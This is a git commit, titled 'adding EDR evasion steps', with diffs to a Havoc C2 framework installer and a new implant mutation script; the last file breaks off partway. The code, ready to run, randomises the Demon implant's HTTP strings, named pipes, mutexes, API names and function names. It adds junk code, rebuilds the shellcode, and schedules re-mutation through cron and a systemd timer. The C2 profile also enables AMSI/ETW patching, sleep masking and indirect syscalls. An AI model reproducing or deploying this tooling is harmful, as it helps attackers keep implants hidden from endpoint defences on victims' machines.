adding EDR evasion steps

This commit is contained in:
n0mad1k
2025-04-22 21:16:07 -04:00
parent 393fc7ec5f
commit 9a213420f6
6 changed files with 1213 additions and 190 deletions
+609 -29
View File
@@ -1,14 +1,19 @@
#!/bin/bash
# Enhanced Havoc C2 Framework installer with advanced EDR evasion features
# This script automatically randomizes the entire Havoc installation
# This script automatically randomizes the entire Havoc installation and implants
set -e
TEMP_DIR=$(mktemp -d)
LOG_FILE="/root/Tools/havoc_installer.log"
HAVOC_DIR="/root/Tools/havoc"
HAVOC_DATA_DIR="/root/Tools/havoc/data"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
HAVOC_CONFIG_FILE="$HAVOC_DATA_DIR/havoc.yaotl"
HAVOC_VERSION="0.5.0"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
# Function to log messages
log() {
@@ -69,7 +74,7 @@ apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
libqt5websockets5-dev binutils-dev >/dev/null 2>&1
libqt5websockets5-dev binutils-dev wget >/dev/null 2>&1
# Setup Go environment
log "Setting up Go environment..."
@@ -77,6 +82,29 @@ mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Download and install compiler fix
log "Downloading and installing fixed compiler..."
if [ ! -d "$COMPILER_DIR" ]; then
# Download the compiler
wget -q -O /tmp/compiler.tgz $COMPILER_URL
# Extract to /usr/bin
tar -xzf /tmp/compiler.tgz -C /usr/bin
# Verify compiler exists
if [ -f "$COMPILER_PATH" ]; then
log "Compiler installed successfully at $COMPILER_PATH"
chmod +x $COMPILER_PATH
else
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
fi
# Clean up
rm -f /tmp/compiler.tgz
else
log "Compiler already installed at $COMPILER_DIR"
fi
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
@@ -84,10 +112,15 @@ if [ -d "$HAVOC_DIR" ]; then
cd $HAVOC_DIR
git pull
else
git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Create data directories
mkdir -p $HAVOC_DATA_DIR
mkdir -p $HAVOC_DIR/payloads
mkdir -p $HAVOC_DIR/payloads/backup
# Modify Havoc source for signature randomization
log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID"
cd $HAVOC_DIR/Teamserver
@@ -95,18 +128,10 @@ cd $HAVOC_DIR/Teamserver
# Randomize version string
sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go
# Add custom code markers to make binaries unique
for gofile in $(find . -name "*.go"); do
# Add random comments at the end of random lines to alter binary signature
if [[ $(($RANDOM % 10)) -lt 3 ]]; then
sed -i "$((RANDOM % 50 + 10))s/$/ \/\/ $(random_string 20)/" "$gofile"
fi
done
# Build Havoc teamserver with custom compiler flags
log "Building customized Havoc teamserver..."
export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)"
go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o teamserver main.go
go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o havoc main.go
# Build Havoc client
log "Building Havoc client..."
@@ -170,23 +195,20 @@ EOF
log "Generated unique TLS certificates with CN=$COMMON_NAME"
fi
# Create profiles directory
mkdir -p $HAVOC_DATA_DIR/profiles
# Generate randomized admin credentials
ADMIN_USER=$(random_string 6)
ADMIN_PASS=$(random_string 24)
# Create unique Havoc profile with randomized settings
# Create unique Havoc profile with randomized settings and fixed compiler path
log "Creating unique Havoc profile..."
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
cat > $HAVOC_CONFIG_FILE << EOF
Teamserver {
Host = "0.0.0.0"
Port = $TEAMSERVER_PORT
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Compiler64 = "$COMPILER_PATH"
Compiler86 = "$COMPILER_PATH"
Nasm = "/usr/bin/nasm"
CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS"
}
@@ -251,12 +273,477 @@ Demon {
SleazeUnhook = true
AmsiEtwPatching = true
SyscallMethod = $SYSCALL_METHOD
$(if [ "$SLEEP_MASK_ENABLED" -eq 1 ]; then echo "EnableSleepMask = true
SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE"; fi)
EnableSleepMask = true
SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE
}
}
EOF
# Create implant mutator script
log "Creating implant mutator script..."
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
#!/bin/bash
# Havoc Implant Mutation Tool
# Randomizes critical implant signatures to avoid detection
# === CONFIG ===
HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}"
IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
OUTPUT_DIR="$HAVOC_ROOT/payloads"
OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin"
BACKUP_DIR="$OUTPUT_DIR/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak"
LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log"
# === ADVANCED OPTIONS ===
RANDOMIZE_STRINGS=true # Randomize identifiers
RANDOMIZE_FUNCTIONS=true # Randomize function names
RANDOMIZE_IMPORTS=true # Randomize import tables
RANDOMIZE_SECTIONS=true # Randomize PE section names
RANDOMIZE_RESOURCES=true # Randomize resource values
ADD_JUNK_CODE=true # Add harmless junk code
ADD_STACK_STRINGS=true # Use stack strings for sensitive strings
# === COLORS ===
RED='\033[1;31m'
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
BLUE='\033[1;34m'
NC='\033[0m'
# === UTILITY FUNCTIONS ===
log() {
echo -e "$1" | tee -a "$LOG_FILE"
}
random_str() {
local length=${1:-12}
tr -dc 'A-Za-z0-9' </dev/urandom | head -c $length
}
random_hex() {
local length=${1:-8}
tr -dc 'a-f0-9' </dev/urandom | head -c $length
}
# Random word from a list that looks legitimate
random_plausible() {
local words=("update" "service" "runtime" "kernel" "driver" "module" "system" "network"
"client" "server" "protocol" "stream" "buffer" "socket" "thread" "process"
"event" "handler" "config" "registry" "memory" "session" "manager" "admin"
"data" "file" "resource" "utility" "helper" "monitor" "controller" "agent")
echo "${words[$RANDOM % ${#words[@]}]}_$(random_str 5 | tr '[:upper:]' '[:lower:]')"
}
# === BACKUP FUNCTIONS ===
backup_sources() {
mkdir -p "$BACKUP_DIR/src_$TIMESTAMP"
if [ -d "$SRC_DIR" ]; then
cp -r "$SRC_DIR"/* "$BACKUP_DIR/src_$TIMESTAMP/"
log "${GREEN}[✓] Source files backed up to: $BACKUP_DIR/src_$TIMESTAMP/${NC}"
else
log "${RED}[!] Source directory not found: $SRC_DIR${NC}"
exit 1
fi
# Backup config file if it exists
if [ -f "$HAVOC_ROOT/data/havoc.yaotl" ]; then
cp "$HAVOC_ROOT/data/havoc.yaotl" "$CONFIG_BACKUP"
log "${GREEN}[✓] Config file backed up to: $CONFIG_BACKUP${NC}"
fi
# Backup shellcode
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
log "${GREEN}[✓] Previous shellcode backed up to: $BACKUP_DIR/implant_$TIMESTAMP.raw${NC}"
else
log "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
}
# === MUTATION FUNCTIONS ===
mutate_transport_http() {
local THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
# Generate a realistic looking User-Agent
local browsers=("Mozilla/5.0" "Mozilla/4.0")
local systems=("Windows NT 10.0; Win64; x64" "Windows NT 11.0; Win64; x64" "Macintosh; Intel Mac OS X 10_15_7")
local engines=("AppleWebKit/537.36" "AppleWebKit/605.1.15" "Gecko/20100101")
local browser_versions=("Chrome/91.0.4472.124" "Chrome/96.0.4664.110" "Safari/537.36" "Edge/91.0.864.59" "Firefox/89.0")
local UA="${browsers[$RANDOM % ${#browsers[@]}]} (${systems[$RANDOM % ${#systems[@]}]}) ${engines[$RANDOM % ${#engines[@]}]} ${browser_versions[$RANDOM % ${#browser_versions[@]}]}"
local URI=$(random_plausible)
# Replace the User-Agent
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
# Replace URI paths
sed -i "s|/stage|/${URI}|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.css|/${random_plausible}.css|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.js|/${random_plausible}.js|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.html|/${random_plausible}.html|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.png|/${random_plausible}.png|g" "$THTTP"
# Randomize headers order where possible
if grep -q "Accept:" "$THTTP"; then
sed -i "s/Accept: .*/Accept: *\/*\\r\\n\";/" "$THTTP"
fi
# Add additional headers
HEADER_LINE=$(grep -n "User-Agent:" "$THTTP" | cut -d':' -f1)
if [ -n "$HEADER_LINE" ]; then
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Accept-Language: en-US,en;q=0.9\\r\\n\" );" "$THTTP"
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Cache-Control: max-age=0\\r\\n\" );" "$THTTP"
fi
log "${GREEN}[✓] Transport HTTP mutations applied:"
log " - User-Agent: ${UA}"
log " - URI path: /${URI}"
log " - Added randomized headers${NC}"
else
log "${YELLOW}[!] TransportHttp.c not found. Skipping HTTP transport mutation.${NC}"
fi
}
mutate_named_resources() {
# Find suitable targets
local TARGETS=("$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c" "$SRC_DIR/common/Common.c")
local PIPE=$(random_plausible)
local MUTEX=$(random_plausible)
local SERVICE=$(random_plausible)
local FOUND=false
for TARGET_FILE in "${TARGETS[@]}"; do
if [[ -f "$TARGET_FILE" ]]; then
FOUND=true
# Replace named pipes
if grep -q "\\\\\.\\\\pipe\\\\" "$TARGET_FILE"; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_-]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
fi
# Replace mutexes
if grep -q "Mutex_" "$TARGET_FILE"; then
sed -i "s|Mutex_[a-zA-Z0-9_-]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized mutex: Mutex_${MUTEX}${NC}"
fi
# Replace service names if they exist
if grep -q "ServiceName" "$TARGET_FILE"; then
sed -i "s|ServiceName[\"'][a-zA-Z0-9_-]*[\"']|ServiceName\"${SERVICE}\"|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized service name: ${SERVICE}${NC}"
fi
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No suitable files found to mutate named resources.${NC}"
fi
}
mutate_memory_strings() {
local STRING_FILES=("$SRC_DIR/core/Memory.c" "$SRC_DIR/core/Spoof.c" "$SRC_DIR/core/Win32.c")
local FOUND=false
for STRING_FILE in "${STRING_FILES[@]}"; do
if [[ -f "$STRING_FILE" ]]; then
FOUND=true
# Replace memory allocation strings
sed -i "s|VirtualAlloc|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|VirtualProtect|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|HeapAlloc|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|HeapCreate|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|CreateThread|$(random_str 12)|g" "$STRING_FILE"
log "${GREEN}[✓] Randomized memory function strings in ${STRING_FILE}${NC}"
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No memory string files found to mutate.${NC}"
fi
}
mutate_config_file() {
local CONFIG_FILE="$HAVOC_ROOT/data/havoc.yaotl"
if [[ -f "$CONFIG_FILE" ]]; then
# Generate new values
local USER_AGENT="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
local SLEEP_TIME=$(( $RANDOM % 10 + 2 ))
local JITTER_PCT=$(( $RANDOM % 40 + 20 ))
# Update configuration values
sed -i "s/Sleep[ \t]*=[ \t]*[0-9]*/Sleep = $SLEEP_TIME/" "$CONFIG_FILE"
sed -i "s/SleepJitter[ \t]*=[ \t]*[0-9]*/SleepJitter = $JITTER_PCT/" "$CONFIG_FILE"
sed -i "s/UserAgent[ \t]*=[ \t]*\"[^\"]*\"/UserAgent = \"$USER_AGENT\"/" "$CONFIG_FILE"
# Randomize URI paths
sed -i '/Uris/,/]/{ s|"/[^"]*"|"/'"$(random_plausible)"'"|g }' "$CONFIG_FILE"
log "${GREEN}[✓] Configuration file updated:"
log " - Sleep time: ${SLEEP_TIME} seconds"
log " - Jitter: ${JITTER_PCT}%"
log " - User-Agent & URIs randomized${NC}"
else
log "${YELLOW}[!] Configuration file not found at ${CONFIG_FILE}${NC}"
fi
}
add_junk_code() {
if ! $ADD_JUNK_CODE; then
return
fi
local C_FILES=$(find "$SRC_DIR" -name "*.c")
local FOUND=false
for C_FILE in $C_FILES; do
if [[ -f "$C_FILE" ]]; then
FOUND=true
# Add junk function that does nothing
local JUNK_FUNC="void $(random_plausible)() { int i = 0; for(i=0; i<10; i++) { i++; i--; } }"
echo -e "\n$JUNK_FUNC" >> "$C_FILE"
# Add junk global variable
local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";"
sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE"
log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}"
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No C files found to add junk code.${NC}"
fi
}
randomize_function_names() {
if ! $RANDOMIZE_FUNCTIONS; then
return
fi
local H_FILES=$(find "$SRC_DIR" -name "*.h")
local FOUND=false
for H_FILE in $H_FILES; do
if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then
FOUND=true
# Get function declarations
local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1)
for FUNC in $FUNCTIONS; do
if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then
local NEW_FUNC="${FUNC}_$(random_str 4)"
# Replace in header file
sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE"
# Find and replace in all .c files
find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \;
log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}"
fi
done
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No header files found to randomize function names.${NC}"
fi
}
# === BUILD FUNCTION ===
rebuild_implant() {
log "${YELLOW}[+] Rebuilding Havoc payload...${NC}"
# Check if we should use make from the project root
if [ -f "$HAVOC_ROOT/Makefile" ]; then
cd "$HAVOC_ROOT" || exit 1
make clean >/dev/null 2>&1
make >/dev/null 2>&1
if [ $? -ne 0 ]; then
log "${RED}[!] Build failed at project root level${NC}"
return 1
fi
# Otherwise try to build just the implant
elif [ -f "$IMPLANT_DIR/Makefile" ]; then
cd "$IMPLANT_DIR" || exit 1
make clean >/dev/null 2>&1
make >/dev/null 2>&1
if [ $? -ne 0 ]; then
log "${RED}[!] Build failed at implant level${NC}"
return 1
fi
else
log "${RED}[!] No Makefile found to build the implant${NC}"
return 1
fi
# Verify the shellcode was generated
if [[ -f "$OUTPUT_FILE" ]]; then
log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}"
# Calculate hash for verification
local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1)
log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}"
# Optional: Compare with previous hash if a backup exists
local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw"
if [[ -f "$BACKUP_FILE" ]]; then
local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1)
if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then
log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}"
else
log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}"
fi
fi
return 0
else
log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}"
return 1
fi
}
# === AUTO-SCHEDULING FUNCTION ===
setup_auto_mutation() {
local SCRIPT_PATH=$(realpath "$0")
local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1"
# Check if already in crontab
if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then
log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}"
return
fi
# Add to crontab
(crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab -
if [ $? -eq 0 ]; then
log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}"
else
log "${RED}[!] Failed to schedule auto-mutation${NC}"
fi
}
# === MAIN EXECUTION ===
main() {
# Create directories
mkdir -p "$BACKUP_DIR"
mkdir -p "$OUTPUT_DIR"
# Start log file
echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE"
log "${BLUE}════════════════════════════════════════════${NC}"
log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}"
log "${BLUE}════════════════════════════════════════════${NC}"
# Check for Havoc installation
if [ ! -d "$HAVOC_ROOT" ]; then
log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}"
log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}"
exit 1
fi
# Backup everything first
log "${YELLOW}[+] Backing up current implant and source files...${NC}"
backup_sources
# Start mutations
log "${YELLOW}[+] Starting implant mutations...${NC}"
# Apply all mutation types
mutate_transport_http
mutate_named_resources
mutate_memory_strings
mutate_config_file
# Advanced mutations
if $ADD_JUNK_CODE; then
add_junk_code
fi
if $RANDOMIZE_FUNCTIONS; then
randomize_function_names
fi
# Rebuild the implant
rebuild_implant
# Show completion summary
log "${BLUE}════════════════════════════════════════════${NC}"
log "${GREEN}[✓] Implant mutation completed successfully!${NC}"
log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}"
log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}"
log "${BLUE}════════════════════════════════════════════${NC}"
# Ask about auto-scheduling
if [ -t 0 ]; then # Only if running interactively
read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO
if [ "$SETUP_AUTO" = "y" ]; then
setup_auto_mutation
fi
fi
}
# Parse command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
--auto-schedule)
setup_auto_mutation
exit 0
;;
--no-junk)
ADD_JUNK_CODE=false
shift
;;
--no-functions)
RANDOMIZE_FUNCTIONS=false
shift
;;
--config-only)
# Only modify the config file
mkdir -p "$BACKUP_DIR"
backup_sources
mutate_config_file
exit 0
;;
--help)
echo "Usage: $0 [options]"
echo "Options:"
echo " --auto-schedule Setup automatic mutation via crontab"
echo " --no-junk Don't add junk code to source files"
echo " --no-functions Don't randomize function names"
echo " --config-only Only modify the configuration file"
echo " --help Show this help message"
echo ""
echo "Environment variables:"
echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)"
exit 0
;;
*)
echo "Unknown option: $1"
echo "Use --help for usage information"
exit 1
;;
esac
done
# Execute main logic
main
EOF
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
# Save the randomization details for other scripts to use
mkdir -p $HAVOC_DIR/config
cat > $HAVOC_DIR/config/profile.json << EOF
@@ -271,11 +758,13 @@ cat > $HAVOC_DIR/config/profile.json << EOF
"sleep_time": $SLEEP_TIME,
"jitter_percent": $JITTER_PCT,
"syscall_method": $SYSCALL_METHOD,
"sleep_mask_enabled": $SLEEP_MASK_ENABLED,
"sleep_mask_enabled": true,
"sleep_mask_technique": $SLEEP_MASK_TECHNIQUE,
"uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')],
"user_agent_http": "$RANDOMIZED_UA1",
"user_agent_https": "$RANDOMIZED_UA2",
"compiler_path": "$COMPILER_PATH",
"config_path": "$HAVOC_CONFIG_FILE",
"created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
@@ -292,7 +781,7 @@ Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/Teamserver
ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
ExecStart=$HAVOC_DIR/Teamserver/havoc server -d
Restart=always
RestartSec=10
@@ -305,15 +794,49 @@ NoNewPrivileges=true
WantedBy=multi-user.target
EOF
# Create an auto-mutation service
cat > /etc/systemd/system/havoc-mutator.service << EOF
[Unit]
Description=Havoc Implant Auto-Mutation Service
After=havoc.service
[Service]
Type=oneshot
User=root
Group=root
ExecStart=$IMPLANT_MUTATOR_SCRIPT
Environment="HAVOC_ROOT=$HAVOC_DIR"
EOF
# Create an auto-mutation timer
cat > /etc/systemd/system/havoc-mutator.timer << EOF
[Unit]
Description=Run Havoc implant mutation every 12 hours
[Timer]
OnBootSec=1h
OnUnitActiveSec=12h
Persistent=true
[Install]
WantedBy=timers.target
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod 755 $HAVOC_DIR/Teamserver/teamserver
chmod 755 $HAVOC_DIR/Teamserver/havoc
chmod 755 $HAVOC_DIR/Client/havoc
chmod 600 $HAVOC_CONFIG_FILE
chmod 600 $HAVOC_DIR/config/profile.json
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
ln -sf $HAVOC_DIR/Teamserver/havoc /usr/local/bin/havoc-server
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
# Run the implant mutator as part of installation
log "Running initial implant mutation..."
$IMPLANT_MUTATOR_SCRIPT --no-functions
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
@@ -321,11 +844,68 @@ systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed with unique signatures!"
# Enable the mutation timer
systemctl enable havoc-mutator.timer
systemctl start havoc-mutator.timer
log "Havoc C2 installation completed with unique signatures and implant randomization!"
log "===== IMPORTANT CREDENTIALS ====="
log "Admin User: $ADMIN_USER"
log "Admin Password: $ADMIN_PASS"
log "Teamserver Port: $TEAMSERVER_PORT"
log "HTTP Listener Port: $HTTP_PORT"
log "HTTPS Listener Port: $HTTPS_PORT"
log "All settings saved to: $HAVOC_DIR/config/profile.json"
log "Config File: $HAVOC_CONFIG_FILE"
log "All settings saved to: $HAVOC_DIR/config/profile.json"
log "Compiler Path: $COMPILER_PATH"
# Create a reminder for using the dev branch
cat > $HAVOC_DIR/README.md << EOF
# Havoc C2 Framework (Dev Branch)
This is an installation of the Havoc C2 Framework using the **dev branch** with enhanced randomization.
## Important Information
- **Admin User:** $ADMIN_USER
- **Admin Password:** $ADMIN_PASS
- **Teamserver Port:** $TEAMSERVER_PORT
- **Config File:** $HAVOC_CONFIG_FILE
## Starting the Server
The server can be started with:
\`\`\`
$HAVOC_DIR/Teamserver/havoc server -d
\`\`\`
## Implant Mutation
To randomize implant signatures and avoid detection, use the implant mutator:
\`\`\`
havoc-mutate # Run manual mutation
havoc-mutate --auto-schedule # Setup automated mutations
havoc-mutate --config-only # Only modify configuration values
\`\`\`
The system is configured to automatically mutate implants every 12 hours via systemd timer.
## Enhanced Security Features
This installation includes:
- Shellcode randomization
- Implant signature randomization
- Memory allocation/execution randomization
- Stack spoofing and sleep masking
- Indirect syscalls
- Binary obfuscation techniques
- Automated implant mutation
## Compiler Information
Using custom MinGW compiler from: $COMPILER_PATH
EOF
log "Installation completed successfully!"
+76
View File
@@ -0,0 +1,76 @@
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/Havoc"
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+458
View File
@@ -0,0 +1,458 @@
#!/bin/bash
# Havoc Implant Mutation Tool
# Randomizes critical implant signatures to avoid detection
# === CONFIG ===
HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}"
IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
OUTPUT_DIR="$HAVOC_ROOT/payloads"
OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin"
BACKUP_DIR="$OUTPUT_DIR/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak"
LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log"
# === ADVANCED OPTIONS ===
RANDOMIZE_STRINGS=true # Randomize identifiers
RANDOMIZE_FUNCTIONS=true # Randomize function names
RANDOMIZE_IMPORTS=true # Randomize import tables
RANDOMIZE_SECTIONS=true # Randomize PE section names
RANDOMIZE_RESOURCES=true # Randomize resource values
ADD_JUNK_CODE=true # Add harmless junk code
ADD_STACK_STRINGS=true # Use stack strings for sensitive strings
# === COLORS ===
RED='\033[1;31m'
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
BLUE='\033[1;34m'
NC='\033[0m'
# === UTILITY FUNCTIONS ===
log() {
echo -e "$1" | tee -a "$LOG_FILE"
}
random_str() {
local length=${1:-12}
tr -dc 'A-Za-z0-9' </dev/urandom | head -c $length
}
random_hex() {
local length=${1:-8}
tr -dc 'a-f0-9' </dev/urandom | head -c $length
}
# Random word from a list that looks legitimate
random_plausible() {
local words=("update" "service" "runtime" "kernel" "driver" "module" "system" "network"
"client" "server" "protocol" "stream" "buffer" "socket" "thread" "process"
"event" "handler" "config" "registry" "memory" "session" "manager" "admin"
"data" "file" "resource" "utility" "helper" "monitor" "controller" "agent")
